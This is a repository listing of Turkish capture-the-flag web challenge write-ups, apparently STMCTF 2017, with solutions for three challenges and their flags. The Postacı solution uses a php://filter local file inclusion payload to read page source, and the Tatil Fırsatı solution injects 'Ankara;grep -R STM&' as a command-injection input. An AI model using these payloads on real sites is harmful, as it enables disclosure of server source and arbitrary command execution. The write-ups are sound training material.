/WEB/HackOpssVol5465/koa10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa10.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa11.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa12.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa13.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa14.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa15.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa16.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa17.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa2.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa3.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa4.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa5.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa6.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa7.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa8.png -------------------------------------------------------------------------------- /WEB/HackOpssVol5465/koa9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/HackOpssVol5465/koa9.png -------------------------------------------------------------------------------- /WEB/Postaci/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Postacı 3 | 4 | ## Soru Metni: 5 | 6 | http://192.168.$MASANO.5:5555/troll.php sayfasına git bakalım FLAG orada mı acaba? 7 | 8 | ## Çözüm: 9 | 10 | 0. Tatil Firsati sorusunun aksine bu sefer /flag.txt yazanlar bir youtube linkine yonlendirilmekteydi. Ancak bu link gercek flagi icermiyor ( https://www.youtube.com/watch?v=o1eHKf-dMwo ). 11 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po0.png) 12 | 13 | 1. Çıkan sayfada yazan “POSTacı geldi hanııım!” cümlesinden ilgili sayfaya POST isteği yapmamız gerektiğini anlıyoruz. 14 | 2. Burp aracıyla intercept ederek GET isteği yerine POST isteği gönderdiğimizde aşağıdaki mesaj çıkıyor. 15 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po1.png) 16 | 3. Mesajdaki değeri ekliyoruz: 17 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po2.png) 18 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po3.png) 19 | 20 | 4. Dönen cevapta POST isteğiyle bir de data yollamamız gerektiğini anlıyoruz. POST datası olarak flag dışında bir şey yollarsak "yanlış parametre" cevabını alıyoruz: 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po4.png) 22 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po5.png) 23 | 24 | 5. POST datası olarak flag yollarsak bizi troll.php?page=sanayardimicinburadayim.php sayfasına yönlendiriyor. 25 | 26 | 27 | 28 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po7.png) 29 | 30 | 6. page parametresini kullanarak LFI deneyebiliriz fakat denediğimizde aşağıdaki sayfa geliyor: 31 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po8.png) 32 | 33 | 7. Yönlendirildiğimiz troll.php?page=sanayardimicinburadayim.php sayfasında flag parametresine verdiğimiz değerin yanlış olduğunu söylüyor. Doğru parametre verirsek flagi elde edebiliriz. Parametrenin değerini bulmak için yine URL’deki page parametresinden yararlanabiliriz. Bu parametrenin değeri troll.php sayfasında yazmaktadır. Amacımız troll.php sayfasının kodunu bir şekilde LFI yaparak okumak. 34 | 35 | 8. PHP filtrelerini kullanarak /troll.php?page=php://filter/convert.base64-encode/resource=troll.php ile troll.php sayfasının kodu base64 olarak okunabiliyor. 36 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po9.png) 37 | 38 | 39 | 9. Yarışmacı base64 değerini decode ettiğinde troll.php'nin kodunu görebiliyor ve flag parametresine vermesi gereken değeri görüyor. 40 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po10.png) 41 | 42 | 10. Flagin olduğu dosyayı direk olarak /hanimisflagburadaymisflag.php şeklinde çağıramıyor. Ancak POST requestiyle doğru parametreyi vererek okuması gerekiyor. 43 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po11.png) 44 | 45 | 11. Decode edilen base64 degerinde (sayfanin kaynak kodunda) "Hanimis benim flag im?" gorulmektedir. Dogru parametre, dogru sayfa ve dogru http method birlestirilerek asagidaki istek olusturuluyor ve STMCTF{MuK-KemMEL_1_POST_Istegi} flag bulunuyor. 46 | 47 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/Postaci/po12.png) 48 | 49 | ``` 50 | Alternatif istek: 51 | $ curl -X POST -d "flag=Hanimis benim flag im?" http://192.168.X.5:5555/troll.php 52 | STMCTF{MuK-KemMEL_1_POST_Istegi} 53 | ``` 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /WEB/Postaci/po0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po0.png -------------------------------------------------------------------------------- /WEB/Postaci/po1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po1.png -------------------------------------------------------------------------------- /WEB/Postaci/po10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po10.png -------------------------------------------------------------------------------- /WEB/Postaci/po11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po11.png -------------------------------------------------------------------------------- /WEB/Postaci/po12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po12.png -------------------------------------------------------------------------------- /WEB/Postaci/po2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po2.png -------------------------------------------------------------------------------- /WEB/Postaci/po3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po3.png -------------------------------------------------------------------------------- /WEB/Postaci/po4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po4.png -------------------------------------------------------------------------------- /WEB/Postaci/po5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po5.png -------------------------------------------------------------------------------- /WEB/Postaci/po6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po6.png -------------------------------------------------------------------------------- /WEB/Postaci/po7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po7.png -------------------------------------------------------------------------------- /WEB/Postaci/po8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po8.png -------------------------------------------------------------------------------- /WEB/Postaci/po9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/Postaci/po9.png -------------------------------------------------------------------------------- /WEB/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /WEB/TatilFirsati/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: Tatil Fırsatı 3 | 4 | ## Soru Metni: 5 | 6 | En büyük tur acentelerinden birinde kritik açık bulundu. Kendine ve arkadaşlarına bedava tatil fırsatını kaçırma! 7 | 8 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/TatilFirsati/tatilsoru.png) 9 | 10 | ## Çözüm: 11 | 12 | Ilk ve en basit olarak /flag.txt'yi tahmin ederek cozulebilir. 13 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/TatilFirsati/tatil0.png) 14 | 15 | 16 | Flag.txt'nin varliginin tahmin edilemedigi durumlarda command injection denemesi yapilarak, grep komutuyla dizinde icinde STM kelimesi gecen dosyalar ekrana bastirilabilir. 17 | 18 | ``` 19 | Ankara;grep -R STM& 20 | ``` 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/TatilFirsati/tatil1.png) 22 | 23 | 24 | -------------------------------------------------------------------------------- /WEB/TatilFirsati/tatil0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/TatilFirsati/tatil0.png -------------------------------------------------------------------------------- /WEB/TatilFirsati/tatil1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/TatilFirsati/tatil1.png -------------------------------------------------------------------------------- /WEB/TatilFirsati/tatilsoru.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/TatilFirsati/tatilsoru.png -------------------------------------------------------------------------------- /WEB/odie/6b51d5a125cf6c0eca3d1df3545b7d25.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/odie/6b51d5a125cf6c0eca3d1df3545b7d25.zip -------------------------------------------------------------------------------- /WEB/odie/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: Odie 2 | 3 | ## Soru Metni: 4 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/odie/odie0.jpeg) 5 | 6 | 7 | ## Çözüm: 8 | 1. 6b51d5a125cf6c0eca3d1df3545b7d25.zip icerisinden odie.html isimli dosya cikiyor.odie.html sayfasi acildiginda soruda bizi karsilayan Odie isimli kedi resmi tekrar cikiyor. 9 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/WEB/odie/odie2.png) 10 | 11 | 2. odie.html dosyasina vi ile bakildiginda ise goruntu su sekilde oluyor. 12 | 13 | ``` 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | Odie the Cat 22 | 23 | 24 | 45 | 46 | 47 | 48 | Odie the Cat 49 | 50 | 51 | 52 | 68 | 69 | 70 | ``` 71 | 72 | 5. Dosyanin satir sayisina baktigimizda ise icerigin sadece ekranda gozukenden olusmadigini goruyoruz. 73 | ``` 74 | wc odie.html 75 | 19672 2545 207452 odie.html 76 | ``` 77 | 78 | 6. Dosyanin iceriginde STM kelimesini aratinca flag dogrudan cikiyor. 79 | ``` 80 | cat odie.html | grep STM 81 | 82 | ``` 83 | 84 | FLAG: STMCTF{YARI_Kor_Kedi_ODIE_nin_HAYATI} 85 | -------------------------------------------------------------------------------- /WEB/odie/odie0.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/odie/odie0.jpeg -------------------------------------------------------------------------------- /WEB/odie/odie2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/odie/odie2.png -------------------------------------------------------------------------------- /stmctf17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/stmctf17.png --------------------------------------------------------------------------------